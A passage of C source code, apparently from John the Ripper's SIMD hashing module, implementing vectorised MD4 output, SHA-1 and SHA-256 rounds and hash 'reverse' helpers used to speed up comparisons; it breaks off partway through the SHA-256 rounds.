vadd_epi32(d[i], vload((vtype*)&reload_state[i*4*VS32+3*VS32])); } } } #if USE_EXPERIMENTAL /* * This is currently not used for MD4, and was observed to result * in a significant performance regression (at least on XOP) just by sitting * here. http://www.openwall.com/lists/john-dev/2015/09/05/5 * NOTE the regression might be gone now anyway since we went from -O3 to -O2. */ if (SSEi_flags & SSEi_FLAT_OUT) { MD4_PARA_DO(i) { uint32_t *o = (uint32_t*)&out[i*4*VS32]; #if __AVX512F__ || __MIC__ vtype idxs = vset_epi32(15*4,14*4,13*4,12*4, 11*4,10*4, 9*4, 8*4, 7*4, 6*4, 5*4, 4*4, 3*4, 2*4, 1*4, 0*4); vscatter_epi32(o + 0, idxs, a[i], 4); vscatter_epi32(o + 1, idxs, b[i], 4); vscatter_epi32(o + 2, idxs, c[i], 4); vscatter_epi32(o + 3, idxs, d[i], 4); #else uint32_t j, k; union { vtype v[4]; uint32_t s[4 * VS32]; } tmp; tmp.v[0] = a[i]; tmp.v[1] = b[i]; tmp.v[2] = c[i]; tmp.v[3] = d[i]; for (j = 0; j < VS32; j++) for (k = 0; k < 4; k++) o[j*4+k] = tmp.s[k*VS32+j]; #endif } } else #endif if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT) { if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT) == SSEi_OUTPUT_AS_2BUF_INP_FMT) { MD4_PARA_DO(i) { vstore((vtype*)&out[i*32*VS32+0*VS32], a[i]); vstore((vtype*)&out[i*32*VS32+1*VS32], b[i]); vstore((vtype*)&out[i*32*VS32+2*VS32], c[i]); vstore((vtype*)&out[i*32*VS32+3*VS32], d[i]); } } else { MD4_PARA_DO(i) { vstore((vtype*)&out[i*16*VS32+0*VS32], a[i]); vstore((vtype*)&out[i*16*VS32+1*VS32], b[i]); vstore((vtype*)&out[i*16*VS32+2*VS32], c[i]); vstore((vtype*)&out[i*16*VS32+3*VS32], d[i]); } } } else { MD4_PARA_DO(i) { vstore((vtype*)&out[i*4*VS32+0*VS32], a[i]); vstore((vtype*)&out[i*4*VS32+1*VS32], b[i]); vstore((vtype*)&out[i*4*VS32+2*VS32], c[i]); vstore((vtype*)&out[i*4*VS32+3*VS32], d[i]); } } } #endif /* SIMD_PARA_MD4 */ #if SIMD_PARA_SHA1 #define SHA1_SSE_NUM_KEYS (SIMD_COEF_32*SIMD_PARA_SHA1) #define SHA1_PARA_DO(x) for((x)=0;(x)> 30); } void sha1_unreverse(uint32_t *hash) { hash[4] = (hash[4] << 30) | (hash[4] >> 2); hash[4] += INIT_E; } #undef INIT_E void SIMDSHA1body(vtype* _data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags) { vtype w[16*SIMD_PARA_SHA1]; vtype a[SIMD_PARA_SHA1]; vtype b[SIMD_PARA_SHA1]; vtype c[SIMD_PARA_SHA1]; vtype d[SIMD_PARA_SHA1]; vtype e[SIMD_PARA_SHA1]; vtype tmp[SIMD_PARA_SHA1]; vtype cst; unsigned int i; vtype *data; if(SSEi_flags & SSEi_FLAT_IN) { // Move _data to __data, mixing it SIMD_COEF_32 wise. #if __SSE4_1__ || __MIC__ unsigned k; vtype *W = w; ARCH_WORD_32 *saved_key = (ARCH_WORD_32*)_data; SHA1_PARA_DO(k) { if (SSEi_flags & SSEi_4BUF_INPUT) { for (i=0; i < 14; ++i) { GATHER_4x(W[i], saved_key, i); vswap32(W[i]); } GATHER_4x(W[14], saved_key, 14); GATHER_4x(W[15], saved_key, 15); saved_key += (VS32<<6); } else if (SSEi_flags & SSEi_2BUF_INPUT) { for (i=0; i < 14; ++i) { GATHER_2x(W[i], saved_key, i); vswap32(W[i]); } GATHER_2x(W[14], saved_key, 14); GATHER_2x(W[15], saved_key, 15); saved_key += (VS32<<5); } else { for (i=0; i < 14; ++i) { GATHER(W[i], saved_key, i); vswap32(W[i]); } GATHER(W[14], saved_key, 14); GATHER(W[15], saved_key, 15); saved_key += (VS32<<4); } if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) || ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK) || ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST) == SSEi_FLAT_RELOAD_SWAPLAST) ) { vswap32(W[14]); vswap32(W[15]); } W += 16; } #else unsigned j, k; ARCH_WORD_32 *p = (ARCH_WORD_32*)w; vtype *W = w; ARCH_WORD_32 *saved_key = (ARCH_WORD_32*)_data; SHA1_PARA_DO(k) { if (SSEi_flags & SSEi_4BUF_INPUT) { for (j=0; j < 16; j++) for (i=0; i < VS32; i++) *p++ = saved_key[(i<<6)+j]; saved_key += (VS32<<6); } else if (SSEi_flags & SSEi_2BUF_INPUT) { for (j=0; j < 16; j++) for (i=0; i < VS32; i++) *p++ = saved_key[(i<<5)+j]; saved_key += (VS32<<5); } else { for (j=0; j < 16; j++) for (i=0; i < VS32; i++) *p++ = saved_key[(i<<4)+j]; saved_key += (VS32<<4); } for (i=0; i < 14; i++) vswap32(W[i]); if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) || ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK) || ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST) == SSEi_FLAT_RELOAD_SWAPLAST)) { vswap32(W[14]); vswap32(W[15]); } W += 16; } #endif // now set our data pointer to point to this 'mixed' data. data = w; } else data = _data; if((SSEi_flags & SSEi_RELOAD)==0) { SHA1_PARA_DO(i) { a[i] = vset1_epi32(0x67452301); b[i] = vset1_epi32(0xefcdab89); c[i] = vset1_epi32(0x98badcfe); d[i] = vset1_epi32(0x10325476); e[i] = vset1_epi32(0xC3D2E1F0); } } else { if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT) { SHA1_PARA_DO(i) { a[i] = vload((vtype*)&reload_state[i*16*VS32+0*VS32]); b[i] = vload((vtype*)&reload_state[i*16*VS32+1*VS32]); c[i] = vload((vtype*)&reload_state[i*16*VS32+2*VS32]); d[i] = vload((vtype*)&reload_state[i*16*VS32+3*VS32]); e[i] = vload((vtype*)&reload_state[i*16*VS32+4*VS32]); } } else { SHA1_PARA_DO(i) { a[i] = vload((vtype*)&reload_state[i*5*VS32+0*VS32]); b[i] = vload((vtype*)&reload_state[i*5*VS32+1*VS32]); c[i] = vload((vtype*)&reload_state[i*5*VS32+2*VS32]); d[i] = vload((vtype*)&reload_state[i*5*VS32+3*VS32]); e[i] = vload((vtype*)&reload_state[i*5*VS32+4*VS32]); } } } cst = vset1_epi32(0x5A827999); SHA1_ROUND2a( a, b, c, d, e, SHA1_F, 0 ); SHA1_ROUND2a( e, a, b, c, d, SHA1_F, 1 ); SHA1_ROUND2a( d, e, a, b, c, SHA1_F, 2 ); SHA1_ROUND2b( c, d, e, a, b, SHA1_F, 3 ); SHA1_ROUND2b( b, c, d, e, a, SHA1_F, 4 ); SHA1_ROUND2b( a, b, c, d, e, SHA1_F, 5 ); SHA1_ROUND2b( e, a, b, c, d, SHA1_F, 6 ); SHA1_ROUND2b( d, e, a, b, c, SHA1_F, 7 ); SHA1_ROUND2c( c, d, e, a, b, SHA1_F, 8 ); SHA1_ROUND2c( b, c, d, e, a, SHA1_F, 9 ); SHA1_ROUND2c( a, b, c, d, e, SHA1_F, 10 ); SHA1_ROUND2c( e, a, b, c, d, SHA1_F, 11 ); SHA1_ROUND2c( d, e, a, b, c, SHA1_F, 12 ); SHA1_ROUND2c( c, d, e, a, b, SHA1_F, 13 ); SHA1_ROUND2d( b, c, d, e, a, SHA1_F, 14 ); SHA1_ROUND2d( a, b, c, d, e, SHA1_F, 15 ); SHA1_ROUND2( e, a, b, c, d, SHA1_F, 16 ); SHA1_ROUND2( d, e, a, b, c, SHA1_F, 17 ); SHA1_ROUND2( c, d, e, a, b, SHA1_F, 18 ); SHA1_ROUND2( b, c, d, e, a, SHA1_F, 19 ); cst = vset1_epi32(0x6ED9EBA1); SHA1_ROUND2( a, b, c, d, e, SHA1_G, 20 ); SHA1_ROUND2( e, a, b, c, d, SHA1_G, 21 ); SHA1_ROUND2( d, e, a, b, c, SHA1_G, 22 ); SHA1_ROUND2( c, d, e, a, b, SHA1_G, 23 ); SHA1_ROUND2( b, c, d, e, a, SHA1_G, 24 ); SHA1_ROUND2( a, b, c, d, e, SHA1_G, 25 ); SHA1_ROUND2( e, a, b, c, d, SHA1_G, 26 ); SHA1_ROUND2( d, e, a, b, c, SHA1_G, 27 ); SHA1_ROUND2( c, d, e, a, b, SHA1_G, 28 ); SHA1_ROUND2( b, c, d, e, a, SHA1_G, 29 ); SHA1_ROUND2( a, b, c, d, e, SHA1_G, 30 ); SHA1_ROUND2( e, a, b, c, d, SHA1_G, 31 ); SHA1_ROUND2( d, e, a, b, c, SHA1_G, 32 ); SHA1_ROUND2( c, d, e, a, b, SHA1_G, 33 ); SHA1_ROUND2( b, c, d, e, a, SHA1_G, 34 ); SHA1_ROUND2( a, b, c, d, e, SHA1_G, 35 ); SHA1_ROUND2( e, a, b, c, d, SHA1_G, 36 ); SHA1_ROUND2( d, e, a, b, c, SHA1_G, 37 ); SHA1_ROUND2( c, d, e, a, b, SHA1_G, 38 ); SHA1_ROUND2( b, c, d, e, a, SHA1_G, 39 ); cst = vset1_epi32(0x8F1BBCDC); SHA1_ROUND2( a, b, c, d, e, SHA1_H, 40 ); SHA1_ROUND2( e, a, b, c, d, SHA1_H, 41 ); SHA1_ROUND2( d, e, a, b, c, SHA1_H, 42 ); SHA1_ROUND2( c, d, e, a, b, SHA1_H, 43 ); SHA1_ROUND2( b, c, d, e, a, SHA1_H, 44 ); SHA1_ROUND2( a, b, c, d, e, SHA1_H, 45 ); SHA1_ROUND2( e, a, b, c, d, SHA1_H, 46 ); SHA1_ROUND2( d, e, a, b, c, SHA1_H, 47 ); SHA1_ROUND2( c, d, e, a, b, SHA1_H, 48 ); SHA1_ROUND2( b, c, d, e, a, SHA1_H, 49 ); SHA1_ROUND2( a, b, c, d, e, SHA1_H, 50 ); SHA1_ROUND2( e, a, b, c, d, SHA1_H, 51 ); SHA1_ROUND2( d, e, a, b, c, SHA1_H, 52 ); SHA1_ROUND2( c, d, e, a, b, SHA1_H, 53 ); SHA1_ROUND2( b, c, d, e, a, SHA1_H, 54 ); SHA1_ROUND2( a, b, c, d, e, SHA1_H, 55 ); SHA1_ROUND2( e, a, b, c, d, SHA1_H, 56 ); SHA1_ROUND2( d, e, a, b, c, SHA1_H, 57 ); SHA1_ROUND2( c, d, e, a, b, SHA1_H, 58 ); SHA1_ROUND2( b, c, d, e, a, SHA1_H, 59 ); cst = vset1_epi32(0xCA62C1D6); SHA1_ROUND2( a, b, c, d, e, SHA1_I, 60 ); SHA1_ROUND2( e, a, b, c, d, SHA1_I, 61 ); SHA1_ROUND2( d, e, a, b, c, SHA1_I, 62 ); SHA1_ROUND2( c, d, e, a, b, SHA1_I, 63 ); SHA1_ROUND2x( b, c, d, e, a, SHA1_I, 64 ); SHA1_ROUND2x( a, b, c, d, e, SHA1_I, 65 ); SHA1_ROUND2x( e, a, b, c, d, SHA1_I, 66 ); SHA1_ROUND2x( d, e, a, b, c, SHA1_I, 67 ); SHA1_ROUND2x( c, d, e, a, b, SHA1_I, 68 ); SHA1_ROUND2x( b, c, d, e, a, SHA1_I, 69 ); SHA1_ROUND2x( a, b, c, d, e, SHA1_I, 70 ); SHA1_ROUND2x( e, a, b, c, d, SHA1_I, 71 ); SHA1_ROUND2x( d, e, a, b, c, SHA1_I, 72 ); SHA1_ROUND2x( c, d, e, a, b, SHA1_I, 73 ); SHA1_ROUND2x( b, c, d, e, a, SHA1_I, 74 ); SHA1_ROUND2x( a, b, c, d, e, SHA1_I, 75 ); if (SSEi_flags & SSEi_REVERSE_STEPS) { SHA1_PARA_DO(i) { vstore((vtype*)&out[i*5*VS32+4*VS32], e[i]); } return; } SHA1_ROUND2x( e, a, b, c, d, SHA1_I, 76 ); SHA1_ROUND2x( d, e, a, b, c, SHA1_I, 77 ); SHA1_ROUND2x( c, d, e, a, b, SHA1_I, 78 ); SHA1_ROUND2x( b, c, d, e, a, SHA1_I, 79 ); if((SSEi_flags & SSEi_RELOAD)==0) { SHA1_PARA_DO(i) { a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301)); b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89)); c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe)); d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476)); e[i] = vadd_epi32(e[i], vset1_epi32(0xC3D2E1F0)); } } else { if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT) { SHA1_PARA_DO(i) { a[i] = vadd_epi32(a[i], vload((vtype*)&reload_state[i*16*VS32+0*VS32])); b[i] = vadd_epi32(b[i], vload((vtype*)&reload_state[i*16*VS32+1*VS32])); c[i] = vadd_epi32(c[i], vload((vtype*)&reload_state[i*16*VS32+2*VS32])); d[i] = vadd_epi32(d[i], vload((vtype*)&reload_state[i*16*VS32+3*VS32])); e[i] = vadd_epi32(e[i], vload((vtype*)&reload_state[i*16*VS32+4*VS32])); } } else { SHA1_PARA_DO(i) { a[i] = vadd_epi32(a[i], vload((vtype*)&reload_state[i*5*VS32+0*VS32])); b[i] = vadd_epi32(b[i], vload((vtype*)&reload_state[i*5*VS32+1*VS32])); c[i] = vadd_epi32(c[i], vload((vtype*)&reload_state[i*5*VS32+2*VS32])); d[i] = vadd_epi32(d[i], vload((vtype*)&reload_state[i*5*VS32+3*VS32])); e[i] = vadd_epi32(e[i], vload((vtype*)&reload_state[i*5*VS32+4*VS32])); } } } if (SSEi_flags & SSEi_FLAT_OUT) { SHA1_PARA_DO(i) { uint32_t *o = (uint32_t*)&out[i*5*VS32]; #if __AVX512F__ || __MIC__ vtype idxs = vset_epi32(15*5,14*5,13*5,12*5, 11*5,10*5, 9*5, 8*5, 7*5, 6*5, 5*5, 4*5, 3*5, 2*5, 1*5, 0*5); vscatter_epi32(o + 0, idxs, vswap32(a[i]), 4); vscatter_epi32(o + 1, idxs, vswap32(b[i]), 4); vscatter_epi32(o + 2, idxs, vswap32(c[i]), 4); vscatter_epi32(o + 3, idxs, vswap32(d[i]), 4); vscatter_epi32(o + 4, idxs, vswap32(e[i]), 4); #else uint32_t j, k; union { vtype v[5]; uint32_t s[5 * VS32]; } tmp; tmp.v[0] = vswap32(a[i]); tmp.v[1] = vswap32(b[i]); tmp.v[2] = vswap32(c[i]); tmp.v[3] = vswap32(d[i]); tmp.v[4] = vswap32(e[i]); for (j = 0; j < VS32; j++) for (k = 0; k < 5; k++) o[j*5+k] = tmp.s[k*VS32+j]; #endif } } else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT) { if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT) == SSEi_OUTPUT_AS_2BUF_INP_FMT) { SHA1_PARA_DO(i) { vstore((vtype*)&out[i*32*VS32+0*VS32], a[i]); vstore((vtype*)&out[i*32*VS32+1*VS32], b[i]); vstore((vtype*)&out[i*32*VS32+2*VS32], c[i]); vstore((vtype*)&out[i*32*VS32+3*VS32], d[i]); vstore((vtype*)&out[i*32*VS32+4*VS32], e[i]); } } else { SHA1_PARA_DO(i) { vstore((vtype*)&out[i*16*VS32+0*VS32], a[i]); vstore((vtype*)&out[i*16*VS32+1*VS32], b[i]); vstore((vtype*)&out[i*16*VS32+2*VS32], c[i]); vstore((vtype*)&out[i*16*VS32+3*VS32], d[i]); vstore((vtype*)&out[i*16*VS32+4*VS32], e[i]); } } } else { SHA1_PARA_DO(i) { vstore((vtype*)&out[i*5*VS32+0*VS32], a[i]); vstore((vtype*)&out[i*5*VS32+1*VS32], b[i]); vstore((vtype*)&out[i*5*VS32+2*VS32], c[i]); vstore((vtype*)&out[i*5*VS32+3*VS32], d[i]); vstore((vtype*)&out[i*5*VS32+4*VS32], e[i]); } } } #endif /* SIMD_PARA_SHA1 */ #if SIMD_PARA_SHA256 /* * These optimized Sigma alternatives are from "Fast SHA-256 Implementations * on Intel Architecture Processors" whitepaper by Intel. They should result * in less register copy operations but in our case they definitely cause a * regression. Not sure why. */ #if 0 #define S0(x) vroti_epi32(vxor(vroti_epi32(vxor(vroti_epi32(x, -9), x), -11), x), -2) #define S1(x) vroti_epi32(vxor(vroti_epi32(vxor(vroti_epi32(x, -14), x), -5), x), -6) #else #define S0(x) \ ( \ vxor( \ vroti_epi32(x, -22), \ vxor( \ vroti_epi32(x, -2), \ vroti_epi32(x, -13) \ ) \ ) \ ) #define S1(x) \ ( \ vxor( \ vroti_epi32(x, -25), \ vxor( \ vroti_epi32(x, -6), \ vroti_epi32(x, -11) \ ) \ ) \ ) #endif #define s0(x) \ ( \ vxor( \ vsrli_epi32(x, 3), \ vxor( \ vroti_epi32(x, -7), \ vroti_epi32(x, -18) \ ) \ ) \ ) #define s1(x) \ ( \ vxor( \ vsrli_epi32(x, 10), \ vxor( \ vroti_epi32(x, -17), \ vroti_epi32(x, -19) \ ) \ ) \ ) #if __AVX512F__ #define Maj(x,y,z) vternarylogic(x, y, z, 0xE8) #elif !VCMOV_EMULATED #define Maj(x,y,z) vcmov(x, y, vxor(z, y)) #else #define Maj(x,y,z) vor(vand(x, y), vand(vor(x, y), z)) #endif #define Ch(x,y,z) vcmov(y, z, x) #undef R #define R(t) \ { \ tmp1[i] = vadd_epi32(s1(w[(t-2)&0xf]), w[(t-7)&0xf]); \ tmp2[i] = vadd_epi32(s0(w[(t-15)&0xf]), w[(t-16)&0xf]); \ w[(t)&0xf] = vadd_epi32(tmp1[i], tmp2[i]); \ } #define SHA256_PARA_DO(x) for (x = 0; x < SIMD_PARA_SHA256; ++x) #define SHA256_STEP(a,b,c,d,e,f,g,h,x,K) \ { \ SHA256_PARA_DO(i) \ { \ w = _w[i].w; \ tmp1[i] = vadd_epi32(h[i], S1(e[i])); \ tmp1[i] = vadd_epi32(tmp1[i], Ch(e[i],f[i],g[i])); \ tmp1[i] = vadd_epi32(tmp1[i], vset1_epi32(K)); \ tmp1[i] = vadd_epi32(tmp1[i], w[(x)&0xf]); \ tmp2[i] = vadd_epi32(S0(a[i]),Maj(a[i],b[i],c[i])); \ d[i] = vadd_epi32(tmp1[i], d[i]); \ h[i] = vadd_epi32(tmp1[i], tmp2[i]); \ if (x < 48) R(x); \ } \ } #define INIT_A 0x6a09e667 #define INIT_B 0xbb67ae85 #define INIT_C 0x3c6ef372 #define INIT_D 0xa54ff53a #define INIT_E 0x510e527f #define INIT_F 0x9b05688c #define INIT_G 0x1f83d9ab #define INIT_H 0x5be0cd19 #define ror(x, n) ((x >> n) | (x << (32 - n))) void sha256_reverse(uint32_t *hash) { uint32_t a, b, c, d, e, f, g, h, s0, maj, tmp; a = hash[0] - INIT_A; b = hash[1] - INIT_B; c = hash[2] - INIT_C; d = hash[3] - INIT_D; e = hash[4] - INIT_E; f = hash[5] - INIT_F; g = hash[6] - INIT_G; h = hash[7] - INIT_H; s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22); maj = (b & c) ^ (b & d) ^ (c & d); tmp = d; d = e - (a - (s0 + maj)); e = f; f = g; g = h; a = b; b = c; c = tmp; s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22); maj = (b & c) ^ (b & d) ^ (c & d); tmp = d; d = e - (a - (s0 + maj)); e = f; f = g; a = b; b = c; c = tmp; s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22); maj = (b & c) ^ (b & d) ^ (c & d); tmp = d; d = e - (a - (s0 + maj)); e = f; a = b; b = c; c = tmp; s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22); maj = (b & c) ^ (b & d) ^ (c & d); hash[0] = e - (a - (s0 + maj)); } void sha256_unreverse() { fprintf(stderr, "sha256_unreverse() not implemented\n"); perror("sha256_unreverse"); } #undef ror #undef INIT_H #undef INIT_G #undef INIT_F #undef INIT_E #undef INIT_D #undef INIT_C #undef INIT_B #undef INIT_A #define INIT_D 0xf70e5939 void sha224_reverse(uint32_t *hash) { hash[3] -= INIT_D; } void sha224_unreverse(uint32_t *hash) { hash[3] += INIT_D; } #undef INIT_D void SIMDSHA256body(vtype *data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags) { vtype a[SIMD_PARA_SHA256], b[SIMD_PARA_SHA256], c[SIMD_PARA_SHA256], d[SIMD_PARA_SHA256], e[SIMD_PARA_SHA256], f[SIMD_PARA_SHA256], g[SIMD_PARA_SHA256], h[SIMD_PARA_SHA256]; union { vtype w[16]; ARCH_WORD_32 p[16*sizeof(vtype)/sizeof(ARCH_WORD_32)]; }_w[SIMD_PARA_SHA256]; vtype tmp1[SIMD_PARA_SHA256], tmp2[SIMD_PARA_SHA256], *w = NULL; ARCH_WORD_32 *saved_key=0; unsigned int i, k; if (SSEi_flags & SSEi_FLAT_IN) { #if __SSE4_1__ || __MIC__ saved_key = (ARCH_WORD_32*)data; SHA256_PARA_DO(k) { w = _w[k].w; if (SSEi_flags & SSEi_4BUF_INPUT) { for (i=0; i < 14; ++i) { GATHER_4x(w[i], saved_key, i); vswap32(w[i]); } GATHER_4x(w[14], saved_key, 14); GATHER_4x(w[15], saved_key, 15); saved_key += (VS32<<6); } else if (SSEi_flags & SSEi_2BUF_INPUT) { for (i=0; i < 14; ++i) { GATHER_2x(w[i], saved_key, i); vswap32(w[i]); } GATHER_2x(w[14], saved_key, 14); GATHER_2x(w[15], saved_key, 15); saved_key += (VS32<<5); } else { for (i=0; i < 14; ++i) { GATHER(w[i], saved_key, i); vswap32(w[i]); } GATHER(w[14], saved_key, 14); GATHER(w[15], saved_key, 15); saved_key += (VS32<<4); } if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) || ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK) || ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST) == SSEi_FLAT_RELOAD_SWAPLAST)) { vswap32(w[14]); vswap32(w[15]); } } #else unsigned int j; saved_key = (ARCH_WORD_32*)data; SHA256_PARA_DO(k) { ARCH_WORD_32 *p = _w[k].p; w = _w[k].w; if (SSEi_flags & SSEi_4BUF_INPUT) { for (j=0; j < 16; j++) for (i=0; i < VS32; i++) *p++ = saved_key[(i<<6)+j]; saved_key += (VS32<<6); } else if (SSEi_flags & SSEi_2BUF_INPUT) { for (j=0; j < 16; j++) for (i=0; i < VS32; i++) *p++ = saved_key[(i<<5)+j]; saved_key += (VS32<<5); } else { for (j=0; j < 16; j++) for (i=0; i < VS32; i++) *p++ = saved_key[(i<<4)+j]; saved_key += (VS32<<4); } for (i=0; i < 14; i++) vswap32(w[i]); if ( ((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK) == SSEi_2BUF_INPUT_FIRST_BLK) || ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK) == SSEi_4BUF_INPUT_FIRST_BLK) || ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST) == SSEi_FLAT_RELOAD_SWAPLAST)) { vswap32(w[14]); vswap32(w[15]); } } #endif } else memcpy(_w, data, 16*sizeof(vtype)*SIMD_PARA_SHA256); // dump_stuff_shammx(w, 64, 0); if (SSEi_flags & SSEi_RELOAD) { if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT) { SHA256_PARA_DO(i) { a[i] = vload((vtype*)&reload_state[i*16*VS32+0*VS32]); b[i] = vload((vtype*)&reload_state[i*16*VS32+1*VS32]); c[i] = vload((vtype*)&reload_state[i*16*VS32+2*VS32]); d[i] = vload((vtype*)&reload_state[i*16*VS32+3*VS32]); e[i] = vload((vtype*)&reload_state[i*16*VS32+4*VS32]); f[i] = vload((vtype*)&reload_state[i*16*VS32+5*VS32]); g[i] = vload((vtype*)&reload_state[i*16*VS32+6*VS32]); h[i] = vload((vtype*)&reload_state[i*16*VS32+7*VS32]); } } else { SHA256_PARA_DO(i) { a[i] = vload((vtype*)&reload_state[i*8*VS32+0*VS32]); b[i] = vload((vtype*)&reload_state[i*8*VS32+1*VS32]); c[i] = vload((vtype*)&reload_state[i*8*VS32+2*VS32]); d[i] = vload((vtype*)&reload_state[i*8*VS32+3*VS32]); e[i] = vload((vtype*)&reload_state[i*8*VS32+4*VS32]); f[i] = vload((vtype*)&reload_state[i*8*VS32+5*VS32]); g[i] = vload((vtype*)&reload_state[i*8*VS32+6*VS32]); h[i] = vload((vtype*)&reload_state[i*8*VS32+7*VS32]); } } } else { if (SSEi_flags & SSEi_CRYPT_SHA224) { SHA256_PARA_DO(i) { /* SHA-224 IV */ a[i] = vset1_epi32(0xc1059ed8); b[i] = vset1_epi32(0x367cd507); c[i] = vset1_epi32(0x3070dd17); d[i] = vset1_epi32(0xf70e5939); e[i] = vset1_epi32(0xffc00b31); f[i] = vset1_epi32(0x68581511); g[i] = vset1_epi32(0x64f98fa7); h[i] = vset1_epi32(0xbefa4fa4); } } else { SHA256_PARA_DO(i) { // SHA-256 IV */ a[i] = vset1_epi32(0x6a09e667); b[i] = vset1_epi32(0xbb67ae85); c[i] = vset1_epi32(0x3c6ef372); d[i] = vset1_epi32(0xa54ff53a); e[i] = vset1_epi32(0x510e527f); f[i] = vset1_epi32(0x9b05688c); g[i] = vset1_epi32(0x1f83d9ab); h[i] = vset1_epi32(0x5be0cd19); } } } SHA256_STEP(a, b, c, d, e, f, g, h, 0, 0x428a2f98); SHA256_STEP(h, a, b, c, d, e, f, g, 1, 0x71374491); SHA256_STEP(g, h, a, b, c, d, e, f, 2, 0xb5c0fbcf); SHA256_STEP(f, g, h, a, b, c, d, e, 3, 0xe9b5dba5); SHA256_STEP(e, f, g, h, a, b, c, d, 4, 0x3956c25b); SHA256_STEP(d, e, f, g, h, a, b, c, 5, 0x59f111f1); SHA256_STEP(c, d, e, f, g, h, a, b, 6, 0x923f82a4); SHA256_STEP(b, c, d, e, f, g, h, a, 7, 0xab1c5ed5); SHA256_STEP(a, b, c, d, e, f, g, h, 8, 0xd807aa98); SHA256_STEP(h, a, b, c, d, e, f, g, 9, 0x12835b01); SHA256_STEP(g, h, a, b, c, d, e, f, 10, 0x243185be); SHA256_STEP(f, g, h, a, b, c, d, e, 11, 0x550c7dc3); SHA256_STEP(e, f, g, h, a, b, c, d, 12, 0x72be5d74); SHA256_STEP(d, e, f, g, h, a, b, c, 13, 0x80deb1fe); SHA256_STEP(c, d, e, f, g, h, a, b, 14, 0x9bdc06a7); SHA256_STEP(b, c, d, e, f, g, h, a, 15, 0xc19bf174); SHA256_STEP(a, b, c, d, e, f, g, h, 16, 0xe49b69c1); SHA256_STEP(h, a, b, c, d, e, f, g, 17, 0xefbe4786); SHA256_STEP(g, h, a, b, c, d, e, f, 18, 0x0fc19dc6); SHA256_STEP(f, g, h, a, b, c, d, e, 19, 0x240ca1cc); SHA256_STEP(e, f, g, h, a, b, c, d, 20, 0x2de92c6f); SHA256_STEP(d, e, f, g, h, a, b, c, 21, 0x4a7484aa); SHA256_STEP(c, d, e, f, g, h, a, b, 22, 0x5cb0a9dc); SHA256_STEP(b, c, d, e, f, g, h, a, 23, 0x76f988da); SHA256_STEP(a, b, c, d, e, f, g, h, 24, 0x983e5152); SHA256_STEP(h, a, b, c, d, e, f, g, 25, 0xa831c66d); SHA256_STEP(g, h, a, b, c, d, e, f, 26, 0xb00327c8); SHA256_STEP(f, g, h, a, b, c, d, e, 27, 0xbf597fc7); SHA256_STEP(e, f, g, h, a, b, c, d, 28, 0xc6e00bf3); SHA256_STEP(d, e, f, g, h, a, b, c, 29, 0xd5a79147); SHA256_STEP(c, d, e, f, g, h, a, b, 30, 0x06ca6351); SHA256_STEP(b, c, d, e, f, g, h, a, 31, 0x14292967); SHA256_STEP(a, b, c, d, e, f, g, h, 32, 0x27b70a85); SHA256_STEP(h, a, b, c, d, e, f, g, 33, 0x2e1b2138); SHA256_STEP(g, h, a, b, c, d, e, f, 34, 0x4d2c6dfc); SHA256_STEP(f, g, h, a, b, c, d, e, 35, 0x53380d13); SHA256_STEP(e, f, g, h, a, b, c, d, 36, 0x650a7354); SHA256_STEP(d, e, f, g, h, a, b, c, 37, 0x766a0abb); SHA256_STEP(c, d, e, f, g, h, a, b, 38, 0x81c2c92e); SHA256_STEP(b, c, d, e, f, g, h, a, 39, 0x92722c85); SHA256_STEP(a, b, c, d, e, f, g, h, 40, 0xa2bfe8a1); SHA256_STEP(h, a, b, c, d, e, f, g, 41, 0xa81a664b); SHA256_STEP(g, h, a, b, c, d, e, f, 42, 0xc24b8b70); SHA256_STEP(f, g, h, a, b, c, d, e, 43, 0xc76c51a3); SHA256_STEP(e, f, g, h, a, b, c, d, 44, 0xd192e819); SHA256_STEP(d, e, f, g, h, a, b, c, 45, 0xd6990624); SHA256_STEP(c, d, e, f, g, h, a, b, 46, 0xf40e3585); SHA256_STEP(b, c, d, e, f, g, h, a, 47, 0x106aa070); SHA256_STEP(a, b, c, d, e, f, g, h, 48, 0x19a4c116); SHA256_STEP(h, a, b, c, d, e, f, g, 49, 0x1e376c08); SHA256_STEP(g, h, a, b, c, d, e, f, 50, 0x2748774c); SHA256_STEP(f, g, h, a, b, c, d, e, 51, 0x34b0bcb5); SHA256_STEP(e, f, g, h, a, b, c, d, 52, 0x391c0cb3); SHA256_STEP(d, e, f, g, h, a, b, c, 53, 0x4ed8aa4a); SHA256_STEP(c, d, e, f, g, h, a, 